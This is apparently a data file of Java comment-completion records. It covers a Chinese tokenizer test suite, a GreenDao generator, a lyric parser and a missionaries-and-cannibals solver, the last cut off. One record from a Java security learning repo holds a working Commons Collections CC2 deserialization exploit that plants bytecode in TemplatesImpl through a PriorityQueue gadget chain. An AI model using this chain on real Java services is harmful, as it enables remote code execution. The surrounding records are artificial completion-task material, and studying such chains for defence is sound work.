仅1个字的非词汇串(东,西,南,北) */ public void test300() { String result = dissect("东&&西&&南&&北"); assertEquals("东/西/南/北", result); } /** * 仅两个字的非词汇串(古哥,谷歌,收狗,搜狗) */ public void test302() { String result = dissect("古哥&&谷歌&&收狗&&搜狗"); assertEquals("古哥/谷歌/收狗/搜狗", result); } /** * 多个字的非词汇串 */ public void test303() { String result = dissect("这是鸟语:玉鱼遇欲雨"); assertEquals("这是/鸟语/玉鱼/鱼遇/遇欲/欲雨", result); } /** * 两个词语之间有一个非词汇的字(真) */ public void test304() { String result = dissect("朋友真背叛了你了!"); assertEquals("朋友/真/背叛", result); } /** * 两个词语之间有一个非词汇的字符串(盒蟹) */ public void test305() { String result = dissect("建设盒蟹社会"); assertEquals("建设/盒蟹/社会", result); } /** * 两个词语之间有多个非词汇的字符串(盒少蟹) */ public void test306() { String result = dissect("建设盒少蟹社会"); assertEquals("建设/盒少/少蟹/社会", result); } // -------------------------------------------------------------- // 不包含小数点的汉字数字 // -------------------------------------------------------------- /** * 单个汉字数字 */ public void test400() { String result = dissect("二"); assertEquals("2", result); } /** * 两个汉字数字 */ public void test61() { String result = dissect("五六"); assertEquals("56", result); } /** * 多个汉字数字 */ public void test62() { String result = dissect("三四五六"); assertEquals("3456", result); } /** * 十三 */ public void test63() { String result = dissect("十三"); assertEquals("13", result); } /** * 二千 */ public void test65() { String result = dissect("二千"); assertEquals("2000", result); } /** * 两千 */ public void test651() { String result = dissect("两千"); assertEquals("2000", result); } /** * 两千 */ public void test6511() { String result = dissect("两千个"); assertEquals("2000/个", result); } /** * 2千 */ public void test652() { String result = dissect("2千"); assertEquals("2000", result); } /** * */ public void test653() { String result = dissect("3千万"); assertEquals("30000000", result); } /** * */ public void test654() { String result = dissect("3千万个案例"); assertEquals("30000000/个/案例", result); } /** * */ public void test64() { String result = dissect("千万"); assertEquals("千万", result); } public void test66() { String result = dissect("两两"); assertEquals("两两", result); } public void test67() { String result = dissect("二二"); assertEquals("22", result); } public void test68() { String result = dissect("2.2两"); assertEquals("2.2/两", result); } public void test69() { String result = dissect("二两"); assertEquals("2/两", result); } public void test690() { String result = dissect("2两"); assertEquals("2/两", result); } public void test691() { String result = dissect("2千克"); assertEquals("2000/克", result); } public void test692() { String result = dissect("2公斤"); assertEquals("2/公斤", result); } public void test693() { String result = dissect("2世纪"); assertEquals("2/世纪", result); } public void test7() { String result = dissect("哪怕二"); assertEquals("2", result); } }
DrizztLei/code
work/java/ROBOT/src/net/paoding/analysis/AnalyzerTest.java
2,518
/** * 仅两个字的非词汇串(古哥,谷歌,收狗,搜狗) */
block_comment
zh-cn
package net.paoding.analysis; import java.io.StringReader; import junit.framework.TestCase; import net.paoding.analysis.analyzer.PaodingAnalyzer; import org.apache.lucene.analysis.Token; import org.apache.lucene.analysis.TokenStream; public class AnalyzerTest extends TestCase { protected PaodingAnalyzer analyzer = new PaodingAnalyzer(); protected StringBuilder sb = new StringBuilder(); protected String dissect(String input) { try { TokenStream ts = analyzer.tokenStream("", new StringReader(input)); Token token; sb.setLength(0); while ((token = ts.next()) != null) { sb.append(token.termText()).append('/'); } if (sb.length() > 0) { sb.setLength(sb.length() - 1); } return sb.toString(); } catch (Exception e) { e.printStackTrace(); return "error"; } } /** * */ public void test000() { String result = dissect("a"); assertEquals("", result); } /** * */ public void test001() { String result = dissect("空格 a 空格"); assertEquals("空格/空格", result); } /** * */ public void test002() { String result = dissect("A座"); assertEquals("a座", result); } /** * */ public void test003() { String result = dissect("u盘"); assertEquals("u盘", result); } public void test004() { String result = dissect("刚买的u盘的容量"); assertEquals("刚/买的/u盘/容量", result); } public void test005() { String result = dissect("K歌之王很好听"); assertEquals("k歌之王/很好/好听", result); } // -------------------------------------------------------------- // 仅包含词语的句子分词策略 // -------------------------------------------------------------- /** * 句子全由词典词语组成,但词语之间没有包含、交叉关系 */ public void test100() { String result = dissect("台北中文国际"); assertEquals("台北/中文/国际", result); } /** * 句子全由词典词语组成,但词语之间有包含关系 */ public void test101() { String result = dissect("北京首都机场"); assertEquals("北京/首都/机场", result); } /** * 句子全由词典词语组成,但词语之间有交叉关系 */ public void test102() { String result = dissect("东西已经拍卖了"); assertEquals("东西/已经/拍卖/卖了", result); } /** * 句子全由词典词语组成,但词语之间有包含、交叉等复杂关系 */ public void test103() { String result = dissect("羽毛球拍"); assertEquals("羽毛/羽毛球/球拍", result); } // -------------------------------------------------------------- // noise词汇和单字的分词策略 // -------------------------------------------------------------- /** * 词语之间有一个noise字(的) */ public void test200() { String result = dissect("足球的魅力"); assertEquals("足球/魅力", result); } /** * 词语之间有一个noise词语(因之) */ public void test201() { String result = dissect("主人因之生气"); assertEquals("主人/生气", result); } /** * 词语前后分别有单字和双字的noise词语(与,有关) */ public void test202() { String result = dissect("与谋杀有关"); assertEquals("谋杀", result); } /** * 前有noise词语(哪怕),后面跟随了连续的noise单字(了,你) */ public void test203() { String result = dissect("哪怕朋友背叛了你"); assertEquals("朋友/背叛", result); } /** * 前后连续的noise词汇(虽然,某些),词语中有noise单字(很) */ public void test204() { String result = dissect("虽然某些动物很凶恶"); assertEquals("动物/凶恶", result); } // -------------------------------------------------------------- // 词典没有收录的字符串的分词策略 // -------------------------------------------------------------- /** * 仅1个字的非词汇串(东,西,南,北) */ public void test300() { String result = dissect("东&&西&&南&&北"); assertEquals("东/西/南/北", result); } /** * 仅两个 <SUF>*/ public void test302() { String result = dissect("古哥&&谷歌&&收狗&&搜狗"); assertEquals("古哥/谷歌/收狗/搜狗", result); } /** * 多个字的非词汇串 */ public void test303() { String result = dissect("这是鸟语:玉鱼遇欲雨"); assertEquals("这是/鸟语/玉鱼/鱼遇/遇欲/欲雨", result); } /** * 两个词语之间有一个非词汇的字(真) */ public void test304() { String result = dissect("朋友真背叛了你了!"); assertEquals("朋友/真/背叛", result); } /** * 两个词语之间有一个非词汇的字符串(盒蟹) */ public void test305() { String result = dissect("建设盒蟹社会"); assertEquals("建设/盒蟹/社会", result); } /** * 两个词语之间有多个非词汇的字符串(盒少蟹) */ public void test306() { String result = dissect("建设盒少蟹社会"); assertEquals("建设/盒少/少蟹/社会", result); } // -------------------------------------------------------------- // 不包含小数点的汉字数字 // -------------------------------------------------------------- /** * 单个汉字数字 */ public void test400() { String result = dissect("二"); assertEquals("2", result); } /** * 两个汉字数字 */ public void test61() { String result = dissect("五六"); assertEquals("56", result); } /** * 多个汉字数字 */ public void test62() { String result = dissect("三四五六"); assertEquals("3456", result); } /** * 十三 */ public void test63() { String result = dissect("十三"); assertEquals("13", result); } /** * 二千 */ public void test65() { String result = dissect("二千"); assertEquals("2000", result); } /** * 两千 */ public void test651() { String result = dissect("两千"); assertEquals("2000", result); } /** * 两千 */ public void test6511() { String result = dissect("两千个"); assertEquals("2000/个", result); } /** * 2千 */ public void test652() { String result = dissect("2千"); assertEquals("2000", result); } /** * */ public void test653() { String result = dissect("3千万"); assertEquals("30000000", result); } /** * */ public void test654() { String result = dissect("3千万个案例"); assertEquals("30000000/个/案例", result); } /** * */ public void test64() { String result = dissect("千万"); assertEquals("千万", result); } public void test66() { String result = dissect("两两"); assertEquals("两两", result); } public void test67() { String result = dissect("二二"); assertEquals("22", result); } public void test68() { String result = dissect("2.2两"); assertEquals("2.2/两", result); } public void test69() { String result = dissect("二两"); assertEquals("2/两", result); } public void test690() { String result = dissect("2两"); assertEquals("2/两", result); } public void test691() { String result = dissect("2千克"); assertEquals("2000/克", result); } public void test692() { String result = dissect("2公斤"); assertEquals("2/公斤", result); } public void test693() { String result = dissect("2世纪"); assertEquals("2/世纪", result); } public void test7() { String result = dissect("哪怕二"); assertEquals("2", result); } }
0
30100_0
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; // 因为 CC2 是基于 CC4 的,所以大部分链子都差不多,直接写了 public class CC2EXP { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Drunkbaby"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class")); byte[][] codes = {evil}; bytecodesField.set(templates,codes); InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates); Class c = transformingComparator.getClass(); Field transformingField = c.getDeclaredField("transformer"); transformingField.setAccessible(true); transformingField.set(transformingComparator, invokerTransformer); serialize(priorityQueue); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
Drun1baby/JavaSecurityLearning
JavaSecurity/Apache/CC/CC2/src/CC2EXP/CC2EXP.java
512
// 因为 CC2 是基于 CC4 的,所以大部分链子都差不多,直接写了
line_comment
zh-cn
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; // 因为 <SUF> public class CC2EXP { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Drunkbaby"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class")); byte[][] codes = {evil}; bytecodesField.set(templates,codes); InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates); Class c = transformingComparator.getClass(); Field transformingField = c.getDeclaredField("transformer"); transformingField.setAccessible(true); transformingField.set(transformingComparator, invokerTransformer); serialize(priorityQueue); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
1
13765_40
package com.d.greendao; import de.greenrobot.daogenerator.DaoGenerator; import de.greenrobot.daogenerator.Entity; import de.greenrobot.daogenerator.Schema; /** * GreenDaoGenerator * Created by D on 2017/4/27. */ public class GreenDaoGenerator { public static void main(String[] args) throws Exception { // 正如你所见的,你创建了一个用于添加实体(Entity)的模式(Schema)对象。 // 两个参数分别代表:数据库版本号与自动生成代码的包路径。 // Schema schema = new Schema(1, "com.d.music.data.database.greendao.music"); // 当然,如果你愿意,你也可以分别指定生成的 Bean 与 DAO 类所在的目录,只要如下所示: Schema schema = new Schema(1, "com.d.music.data.database.greendao.bean"); schema.setDefaultJavaPackageDao("com.d.music.data.database.greendao.dao"); // 模式(Schema)同时也拥有两个默认的 flags,分别用来标示 entity 是否是 activie 以及是否使用 keep sections。 // schema2.enableActiveEntitiesByDefault(); // schema2.enableKeepSectionsByDefault(); // 一旦你拥有了一个 Schema 对象后,你便可以使用它添加实体(Entities)了。 addMusic(schema); addLocalAllMusic(schema); addCollectionMusic(schema); addCustomList(schema); addCustomMusics(schema); addTransferModel(schema); // 最后我们将使用 DAOGenerator 类的 generateAll() 方法自动生成代码,此处你需要根据自己的情况更改输出目录。 // 其实,输出目录的路径可以在 build.gradle 中设置,有兴趣的朋友可以自行搜索,这里就不再详解。 // 重新运行GreenDaoGenerator时,将此路径更改为本地src路径 new DaoGenerator().generateAll(schema, "D:\\AndroidStudioProjects\\DMusic\\app\\src\\main\\java"); } /** * Music - 歌曲 */ private static void addMusic(Schema schema) { Entity entity = schema.addEntity("MusicModel"); // 表名 addProperty(entity); } /** * LocalAllMusic - 本地歌曲 */ private static void addLocalAllMusic(Schema schema) { Entity entity = schema.addEntity("LocalAllMusic"); // 表名 addProperty(entity); } /** * CollectionMusic - 收藏歌曲 */ private static void addCollectionMusic(Schema schema) { Entity entity = schema.addEntity("CollectionMusic"); // 表名 addProperty(entity); } /** * CustomList - 自定义列表 */ private static void addCustomList(Schema schema) { Entity entity = schema.addEntity("CustomListModel"); // 表名 entity.addIdProperty().autoincrement(); // id主键自增 entity.addStringProperty("name"); // 歌曲列表名 entity.addLongProperty("count"); // 包含歌曲数 entity.addIntProperty("seq"); // 排序显示序号 entity.addIntProperty("sortType"); // 排序方式(1:按名称排序,2:按时间排序,3:自定义排序) entity.addIntProperty("pointer"); // 指针:指向数据库相应表 } /** * CustomMusic - 自定义歌曲(创建20张) */ private static void addCustomMusics(Schema schema) { for (int i = 0; i < 20; i++) { Entity entity = schema.addEntity("CustomMusic" + i); // 表名 addProperty(entity); } } /** * TransferModel - 传输 */ private static void addTransferModel(Schema schema) { Entity entity = schema.addEntity("TransferModel"); // 表名 entity.addStringProperty("transferId").primaryKey(); // 文件完整路径---主键 entity.addIntProperty("transferType"); entity.addIntProperty("transferState"); entity.addLongProperty("transferCurrentLength"); entity.addLongProperty("transferTotalLength"); entity.addStringProperty("id"); // 文件完整路径 entity.addIntProperty("type"); // 类型:本地、百度、网易、QQ等 entity.addIntProperty("seq"); // 自定义序号 entity.addStringProperty("songId"); // 歌曲ID entity.addStringProperty("songName"); // 歌曲名 entity.addStringProperty("songUrl"); // 歌曲url entity.addStringProperty("artistId"); // 艺术家ID entity.addStringProperty("artistName"); // 歌手名 entity.addStringProperty("albumId"); // 专辑ID entity.addStringProperty("albumName"); // 专辑 entity.addStringProperty("albumUrl"); // 专辑url entity.addStringProperty("lrcName"); // 歌词名称 entity.addStringProperty("lrcUrl"); // 歌词路径 entity.addLongProperty("fileDuration"); // 歌曲时长 entity.addLongProperty("fileSize"); // 文件大小 entity.addStringProperty("filePostfix"); // 文件后缀类型 entity.addStringProperty("fileFolder"); // 父文件夹绝对路径 entity.addBooleanProperty("isCollected"); // 是否收藏 entity.addLongProperty("timeStamp"); // 时间戳,插入时间 } /** * 添加公共字段 */ private static void addProperty(Entity entity) { entity.addStringProperty("id").primaryKey(); // 文件完整路径---主键 entity.addIntProperty("type"); // 类型:本地、百度、网易、QQ等 entity.addIntProperty("seq"); // 自定义序号 entity.addStringProperty("songId"); // 歌曲ID entity.addStringProperty("songName"); // 歌曲名 entity.addStringProperty("songUrl"); // 歌曲url entity.addStringProperty("artistId"); // 艺术家ID entity.addStringProperty("artistName"); // 歌手名 entity.addStringProperty("albumId"); // 专辑ID entity.addStringProperty("albumName"); // 专辑 entity.addStringProperty("albumUrl"); // 专辑url entity.addStringProperty("lrcName"); // 歌词名称 entity.addStringProperty("lrcUrl"); // 歌词路径 entity.addLongProperty("fileDuration"); // 歌曲时长 entity.addLongProperty("fileSize"); // 文件大小 entity.addStringProperty("filePostfix"); // 文件后缀类型 entity.addStringProperty("fileFolder"); // 父文件夹绝对路径 entity.addBooleanProperty("isCollected"); // 是否收藏 entity.addLongProperty("timeStamp"); // 时间戳,插入时间 } }
Dsiner/DMusic
lib_greendao_generator/src/main/java/com/d/greendao/GreenDaoGenerator.java
1,588
// 父文件夹绝对路径
line_comment
zh-cn
package com.d.greendao; import de.greenrobot.daogenerator.DaoGenerator; import de.greenrobot.daogenerator.Entity; import de.greenrobot.daogenerator.Schema; /** * GreenDaoGenerator * Created by D on 2017/4/27. */ public class GreenDaoGenerator { public static void main(String[] args) throws Exception { // 正如你所见的,你创建了一个用于添加实体(Entity)的模式(Schema)对象。 // 两个参数分别代表:数据库版本号与自动生成代码的包路径。 // Schema schema = new Schema(1, "com.d.music.data.database.greendao.music"); // 当然,如果你愿意,你也可以分别指定生成的 Bean 与 DAO 类所在的目录,只要如下所示: Schema schema = new Schema(1, "com.d.music.data.database.greendao.bean"); schema.setDefaultJavaPackageDao("com.d.music.data.database.greendao.dao"); // 模式(Schema)同时也拥有两个默认的 flags,分别用来标示 entity 是否是 activie 以及是否使用 keep sections。 // schema2.enableActiveEntitiesByDefault(); // schema2.enableKeepSectionsByDefault(); // 一旦你拥有了一个 Schema 对象后,你便可以使用它添加实体(Entities)了。 addMusic(schema); addLocalAllMusic(schema); addCollectionMusic(schema); addCustomList(schema); addCustomMusics(schema); addTransferModel(schema); // 最后我们将使用 DAOGenerator 类的 generateAll() 方法自动生成代码,此处你需要根据自己的情况更改输出目录。 // 其实,输出目录的路径可以在 build.gradle 中设置,有兴趣的朋友可以自行搜索,这里就不再详解。 // 重新运行GreenDaoGenerator时,将此路径更改为本地src路径 new DaoGenerator().generateAll(schema, "D:\\AndroidStudioProjects\\DMusic\\app\\src\\main\\java"); } /** * Music - 歌曲 */ private static void addMusic(Schema schema) { Entity entity = schema.addEntity("MusicModel"); // 表名 addProperty(entity); } /** * LocalAllMusic - 本地歌曲 */ private static void addLocalAllMusic(Schema schema) { Entity entity = schema.addEntity("LocalAllMusic"); // 表名 addProperty(entity); } /** * CollectionMusic - 收藏歌曲 */ private static void addCollectionMusic(Schema schema) { Entity entity = schema.addEntity("CollectionMusic"); // 表名 addProperty(entity); } /** * CustomList - 自定义列表 */ private static void addCustomList(Schema schema) { Entity entity = schema.addEntity("CustomListModel"); // 表名 entity.addIdProperty().autoincrement(); // id主键自增 entity.addStringProperty("name"); // 歌曲列表名 entity.addLongProperty("count"); // 包含歌曲数 entity.addIntProperty("seq"); // 排序显示序号 entity.addIntProperty("sortType"); // 排序方式(1:按名称排序,2:按时间排序,3:自定义排序) entity.addIntProperty("pointer"); // 指针:指向数据库相应表 } /** * CustomMusic - 自定义歌曲(创建20张) */ private static void addCustomMusics(Schema schema) { for (int i = 0; i < 20; i++) { Entity entity = schema.addEntity("CustomMusic" + i); // 表名 addProperty(entity); } } /** * TransferModel - 传输 */ private static void addTransferModel(Schema schema) { Entity entity = schema.addEntity("TransferModel"); // 表名 entity.addStringProperty("transferId").primaryKey(); // 文件完整路径---主键 entity.addIntProperty("transferType"); entity.addIntProperty("transferState"); entity.addLongProperty("transferCurrentLength"); entity.addLongProperty("transferTotalLength"); entity.addStringProperty("id"); // 文件完整路径 entity.addIntProperty("type"); // 类型:本地、百度、网易、QQ等 entity.addIntProperty("seq"); // 自定义序号 entity.addStringProperty("songId"); // 歌曲ID entity.addStringProperty("songName"); // 歌曲名 entity.addStringProperty("songUrl"); // 歌曲url entity.addStringProperty("artistId"); // 艺术家ID entity.addStringProperty("artistName"); // 歌手名 entity.addStringProperty("albumId"); // 专辑ID entity.addStringProperty("albumName"); // 专辑 entity.addStringProperty("albumUrl"); // 专辑url entity.addStringProperty("lrcName"); // 歌词名称 entity.addStringProperty("lrcUrl"); // 歌词路径 entity.addLongProperty("fileDuration"); // 歌曲时长 entity.addLongProperty("fileSize"); // 文件大小 entity.addStringProperty("filePostfix"); // 文件后缀类型 entity.addStringProperty("fileFolder"); // 父文 <SUF> entity.addBooleanProperty("isCollected"); // 是否收藏 entity.addLongProperty("timeStamp"); // 时间戳,插入时间 } /** * 添加公共字段 */ private static void addProperty(Entity entity) { entity.addStringProperty("id").primaryKey(); // 文件完整路径---主键 entity.addIntProperty("type"); // 类型:本地、百度、网易、QQ等 entity.addIntProperty("seq"); // 自定义序号 entity.addStringProperty("songId"); // 歌曲ID entity.addStringProperty("songName"); // 歌曲名 entity.addStringProperty("songUrl"); // 歌曲url entity.addStringProperty("artistId"); // 艺术家ID entity.addStringProperty("artistName"); // 歌手名 entity.addStringProperty("albumId"); // 专辑ID entity.addStringProperty("albumName"); // 专辑 entity.addStringProperty("albumUrl"); // 专辑url entity.addStringProperty("lrcName"); // 歌词名称 entity.addStringProperty("lrcUrl"); // 歌词路径 entity.addLongProperty("fileDuration"); // 歌曲时长 entity.addLongProperty("fileSize"); // 文件大小 entity.addStringProperty("filePostfix"); // 文件后缀类型 entity.addStringProperty("fileFolder"); // 父文件夹绝对路径 entity.addBooleanProperty("isCollected"); // 是否收藏 entity.addLongProperty("timeStamp"); // 时间戳,插入时间 } }
0
45385_1
package com.d.lib.ui.view.lrc; import android.support.annotation.NonNull; import android.text.TextUtils; import com.d.lib.common.util.log.ULog; import java.util.ArrayList; import java.util.List; /** * LrcRow * Edited by D on 2017/5/16. */ public class LrcRow implements Comparable<LrcRow> { /** * 开始时间 为00:10:00 */ private String timeStr; /** * 开始时间 毫米数 00:10:00 为10000 */ private int time; /** * 歌词内容 */ private String content; /** * 该行歌词显示的总时间 */ private int totalTime; public LrcRow() { super(); } public LrcRow(String timeStr, int time, String content) { super(); this.timeStr = timeStr; this.time = time; this.content = content; } /** * 将歌词文件中的某一行 解析成一个List<LrcRow> * 因为一行中可能包含了多个LrcRow对象 * 比如 [03:33.02][00:36.37]当鸽子不再象征和平 ,就包含了2个对象 */ public static List<LrcRow> createRows(String lrcLine) { if (lrcLine == null || !lrcLine.startsWith("[") || lrcLine.indexOf("]") != 9) { return null; } // 最后一个"]" int lastIndexOfRightBracket = lrcLine.lastIndexOf("]"); // 歌词内容 String content = lrcLine.substring(lastIndexOfRightBracket + 1, lrcLine.length()); // 截取出歌词时间,并将"[" 和"]" 替换为"-" [offset:0] ULog.d("lrcLine=" + lrcLine); // -03:33.02--00:36.37- String times = lrcLine.substring(0, lastIndexOfRightBracket + 1).replace("[", "-").replace("]", "-"); String[] timesArray = times.split("-"); List<LrcRow> lrcRows = new ArrayList<>(); for (String tem : timesArray) { if (TextUtils.isEmpty(tem.trim())) { continue; } try { LrcRow lrcRow = new LrcRow(tem, formatTime(tem), content); lrcRows.add(lrcRow); } catch (Exception e) { ULog.d("LrcRow" + e.getMessage()); } } return lrcRows; } /** * 把歌词时间转换为毫秒值 如 将00:10.00 转为10000 */ private static int formatTime(String timeStr) { timeStr = timeStr.replace('.', ':'); String[] times = timeStr.split(":"); return Integer.parseInt(times[0]) * 60 * 1000 + Integer.parseInt(times[1]) * 1000 + Integer.parseInt(times[2]); } public String getTimeStr() { return timeStr; } public void setTimeStr(String timeStr) { this.timeStr = timeStr; } public int getTime() { return time; } public void setTime(int time) { this.time = time; } public String getContent() { return content; } public void setContent(String content) { this.content = content; } public int getTotalTime() { return totalTime; } public void setTotalTime(int totalTime) { this.totalTime = totalTime; } @Override public int compareTo(@NonNull LrcRow anotherLrcRow) { return this.time - anotherLrcRow.time; } @Override public String toString() { return "LrcRow [timeStr=" + timeStr + ", time=" + time + ", content=" + content + "]"; } }
Dsiner/UIUtil
lib_view/src/main/java/com/d/lib/ui/view/lrc/LrcRow.java
995
/** * 开始时间 为00:10:00 */
block_comment
zh-cn
package com.d.lib.ui.view.lrc; import android.support.annotation.NonNull; import android.text.TextUtils; import com.d.lib.common.util.log.ULog; import java.util.ArrayList; import java.util.List; /** * LrcRow * Edited by D on 2017/5/16. */ public class LrcRow implements Comparable<LrcRow> { /** * 开始时 <SUF>*/ private String timeStr; /** * 开始时间 毫米数 00:10:00 为10000 */ private int time; /** * 歌词内容 */ private String content; /** * 该行歌词显示的总时间 */ private int totalTime; public LrcRow() { super(); } public LrcRow(String timeStr, int time, String content) { super(); this.timeStr = timeStr; this.time = time; this.content = content; } /** * 将歌词文件中的某一行 解析成一个List<LrcRow> * 因为一行中可能包含了多个LrcRow对象 * 比如 [03:33.02][00:36.37]当鸽子不再象征和平 ,就包含了2个对象 */ public static List<LrcRow> createRows(String lrcLine) { if (lrcLine == null || !lrcLine.startsWith("[") || lrcLine.indexOf("]") != 9) { return null; } // 最后一个"]" int lastIndexOfRightBracket = lrcLine.lastIndexOf("]"); // 歌词内容 String content = lrcLine.substring(lastIndexOfRightBracket + 1, lrcLine.length()); // 截取出歌词时间,并将"[" 和"]" 替换为"-" [offset:0] ULog.d("lrcLine=" + lrcLine); // -03:33.02--00:36.37- String times = lrcLine.substring(0, lastIndexOfRightBracket + 1).replace("[", "-").replace("]", "-"); String[] timesArray = times.split("-"); List<LrcRow> lrcRows = new ArrayList<>(); for (String tem : timesArray) { if (TextUtils.isEmpty(tem.trim())) { continue; } try { LrcRow lrcRow = new LrcRow(tem, formatTime(tem), content); lrcRows.add(lrcRow); } catch (Exception e) { ULog.d("LrcRow" + e.getMessage()); } } return lrcRows; } /** * 把歌词时间转换为毫秒值 如 将00:10.00 转为10000 */ private static int formatTime(String timeStr) { timeStr = timeStr.replace('.', ':'); String[] times = timeStr.split(":"); return Integer.parseInt(times[0]) * 60 * 1000 + Integer.parseInt(times[1]) * 1000 + Integer.parseInt(times[2]); } public String getTimeStr() { return timeStr; } public void setTimeStr(String timeStr) { this.timeStr = timeStr; } public int getTime() { return time; } public void setTime(int time) { this.time = time; } public String getContent() { return content; } public void setContent(String content) { this.content = content; } public int getTotalTime() { return totalTime; } public void setTotalTime(int totalTime) { this.totalTime = totalTime; } @Override public int compareTo(@NonNull LrcRow anotherLrcRow) { return this.time - anotherLrcRow.time; } @Override public String toString() { return "LrcRow [timeStr=" + timeStr + ", time=" + time + ", content=" + content + "]"; } }
1
64189_9
package xu.problem.mc; import java.util.ArrayList; import core.problem.Action; import core.problem.Problem; import core.problem.State; public class McProblem extends Problem { @Override public State result(State parent, Action action) { int m = ((McState) parent).getM(); int c = ((McState) parent).getC(); int m1 = ((McAction) action).getM(); int c1 = ((McAction) action).getC(); int d = ((McAction) action).getD(); if (d == 1) { //从左岸划到右岸 return new McState(m - m1, c - c1, 0).setSize(size); //左岸人数减少,船到了右岸 } else { //从右岸划到左岸 return new McState(m + m1, c + c1, 1).setSize(size); //左岸人数增多,船到了左岸 } } @Override public int stepCost(State parent, Action action) { // TODO Auto-generated method stub return 1; } @Override public int heuristic(State state) { // TODO Auto-generated method stub McState s = (McState) state; return s.heuristic(); } //左右岸,船上的任意情况下,传教士野人个数分别为m和c时,是否安全 private boolean isSafe(int m, int c) { return m == 0 || m >= c; } @Override public ArrayList<Action> Actions(State state) { // TODO Auto-generated method stub ArrayList<Action> actions = new ArrayList<>(); int m = ((McState) state).getM(); int c = ((McState) state).getC(); int b = ((McState) state).getB(); //在左岸还是右岸? //如果船在右岸,计算出右岸的人数 if (b == 0) { m = size - m; c = size - c; } for (int i = 0; i <= m; i++) for (int j = 0; j <= c; j++) { if (i + j > 0 && i + j <= k && isSafe(i, j) && isSafe(m - i, c - j) && isSafe(size - m + i, size - c + j)) { McAction action = new McAction(i, j, b); //划船方向,从所在岸划向对岸 actions.add(action); } } return actions; } //帮助自己检查是否正确的复写了父类中已有的方法 //告诉读代码的人,这是一个复写的方法 @Override public void drawWorld() { // TODO Auto-generated method stub this.getInitialState().draw(); } @Override public void simulateResult(State parent, Action action) { // TODO Auto-generated method stub State child = result(parent, action); action.draw(); child.draw(); } public McProblem(McState initialState, McState goal, int size, int k) { super(initialState, goal); this.size = size; this.k = k; } public McProblem(int size, int k) { super(new McState(size, size, 1).setSize(size), new McState(0, 0, 0).setSize(size)); this.size = size; this.k = k; } private int size; //传教士和野人的个数,问题的规模 private int k; //船上可载人数的上限 @Override public boolean solvable() { // TODO Auto-generated method stub return true; } }
Du-Sen-Lin/AI
Searching_student/src/xu/problem/mc/McProblem.java
984
//如果船在右岸,计算出右岸的人数
line_comment
zh-cn
package xu.problem.mc; import java.util.ArrayList; import core.problem.Action; import core.problem.Problem; import core.problem.State; public class McProblem extends Problem { @Override public State result(State parent, Action action) { int m = ((McState) parent).getM(); int c = ((McState) parent).getC(); int m1 = ((McAction) action).getM(); int c1 = ((McAction) action).getC(); int d = ((McAction) action).getD(); if (d == 1) { //从左岸划到右岸 return new McState(m - m1, c - c1, 0).setSize(size); //左岸人数减少,船到了右岸 } else { //从右岸划到左岸 return new McState(m + m1, c + c1, 1).setSize(size); //左岸人数增多,船到了左岸 } } @Override public int stepCost(State parent, Action action) { // TODO Auto-generated method stub return 1; } @Override public int heuristic(State state) { // TODO Auto-generated method stub McState s = (McState) state; return s.heuristic(); } //左右岸,船上的任意情况下,传教士野人个数分别为m和c时,是否安全 private boolean isSafe(int m, int c) { return m == 0 || m >= c; } @Override public ArrayList<Action> Actions(State state) { // TODO Auto-generated method stub ArrayList<Action> actions = new ArrayList<>(); int m = ((McState) state).getM(); int c = ((McState) state).getC(); int b = ((McState) state).getB(); //在左岸还是右岸? //如果 <SUF> if (b == 0) { m = size - m; c = size - c; } for (int i = 0; i <= m; i++) for (int j = 0; j <= c; j++) { if (i + j > 0 && i + j <= k && isSafe(i, j) && isSafe(m - i, c - j) && isSafe(size - m + i, size - c + j)) { McAction action = new McAction(i, j, b); //划船方向,从所在岸划向对岸 actions.add(action); } } return actions; } //帮助自己检查是否正确的复写了父类中已有的方法 //告诉读代码的人,这是一个复写的方法 @Override public void drawWorld() { // TODO Auto-generated method stub this.getInitialState().draw(); } @Override public void simulateResult(State parent, Action action) { // TODO Auto-generated method stub State child = result(parent, action); action.draw(); child.draw(); } public McProblem(McState initialState, McState goal, int size, int k) { super(initialState, goal); this.size = size; this.k = k; } public McProblem(int size, int k) { super(new McState(size, size, 1).setSize(size), new 